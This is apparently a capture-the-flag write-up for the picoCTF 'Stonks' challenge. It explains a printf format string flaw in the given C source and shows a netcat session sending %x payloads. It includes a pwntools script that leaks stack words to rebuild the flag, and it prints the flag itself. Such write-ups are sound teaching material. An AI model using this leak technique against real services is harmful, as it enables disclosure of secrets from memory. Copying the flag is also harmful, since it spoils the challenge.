Stonks
4 minutes to read
We are given the C source code of a binary. The source code is relatively large, so the most interesting function is this one:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4
typedef struct Stonks {
int shares;
char symbol[MAX_SYM_LEN + 1];
struct Stonks *next;
} Stonk;
typedef struct Portfolios {
int money;
Stonk *head;
} Portfolio;
int buy_stonks(Portfolio *p) {
if (!p) {
return 1;
}
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api", "r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
int money = p->money;
int shares = 0;
Stonk *temp = NULL;
printf("Using patented AI algorithms to buy stonks\n");
while (money > 0) {
shares = (rand() % money) + 1;
temp = pick_symbol_with_AI(shares);
temp->next = p->head;
p->head = temp;
money -= shares;
}
printf("Stonks chosen\n");
// TODO: Figure out how to read token from file, for now just ask
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
// TODO: Actually use key to interact with API
view_portfolio(p);
return 0;
}
Here we have a Format String vulnerability:
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
Let’s try it on the remote instance:
$ nc mercury.picoctf.net 16439
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Buying stonks with token:
940c4b0.804b000.80489c3.f7f0ad80.ffffffff.1.940a160.f7f18110.f7f0adc7.0.940b180.1
Portfolio
1 shares of NXZ
1 shares of RZ
7 shares of V
8 shares of Q
1 shares of NOC
10 shares of PW
6 shares of BC
34 shares of AS
64 shares of MB
71 shares of VD
46 shares of F
73 shares of WM
145 shares of IPA
1395 shares of L
Goodbye!
These hexadecimal numbers are values leaked from the stack:
940c4b0.804b000.80489c3.f7f0ad80.ffffffff.1.940a160.f7f18110.f7f0adc7.0.940b180.1
There is another useful thing in the function above:
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api", "r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
Basically it is loading the contents of the file that contains the flag (actually called api
) into the variable api_buf
. Since it is a local variable, it will be loaded in the stack. Therefore, the idea is to leak the value of api_buf
using the Format String vulnerability.
A list of %x
formats works well, but to be more specific, we can use %1$x
to extract the first value on the stack, %2$x
for the second and so on.
Let’s do a simple Python script that takes the first 30 values:
#!/usr/bin/env python3
from pwn import context, remote
def dump(n: int) -> str:
p = remote('mercury.picoctf.net', 16439)
p.sendlineafter(b'2) View my portfolio', b'1')
p.sendlineafter(b'What is your API token?', f'%{n}$x'.encode())
p.recvuntil(b'Buying stonks with token:\n')
leak = p.recvuntil(b'\n').decode()
p.close()
return leak.strip()
def main():
context.log_level = 'CRITICAL'
for i in range(30):
print(i + 1, dump(i + 1))
if __name__ == '__main__':
main()
$ python3 solve.py
1 99ca3f0
2 804b000
3 80489c3
4 f7f96d80
5 ffffffff
6 1
7 99dd160
8 f7efe110
9 f7f97dc7
10 0
11 9b85180
12 1
13 9d80410
14 87ca430
15 6f636970
16 7b465443
17 306c5f49
18 345f7435
19 6d5f6c6c
20 306d5f79
21 5f79336e
22 62633763
23 65616336
24 ffa3007d
25 f7f48af8
26 f7f94440
27 7249cc00
28 1
29 0
30 f7d9dbe9
We know that picoCTF flags have a special format (namely, picoCTF{...}
). The first four characters are pico
which in hexadecimal digits is 0x6f636970
(little-endian format). This value is at position 15 on the previous output.
The ASCII code for }
is 0x7d
which is at position 24. The flag is between positions 15 and 24. Since the positions will not change, let’s take these values and decode them byte by byte. Actually, we will extract until position 23, since in position 24 we have only }
and the null byte (end of string in C):
def main():
flag = b''
for i in range(15, 24):
flag += p32(int(dump(i), 16))
flag += b'}'
print(f'Leaked flag: {flag.decode()}')
if __name__ == '__main__':
main()
And here we have the flag:
$ python3 solve.py
Leaked flag: picoCTF{I_l05t_4ll_my_m0n3y_c7cb6cae}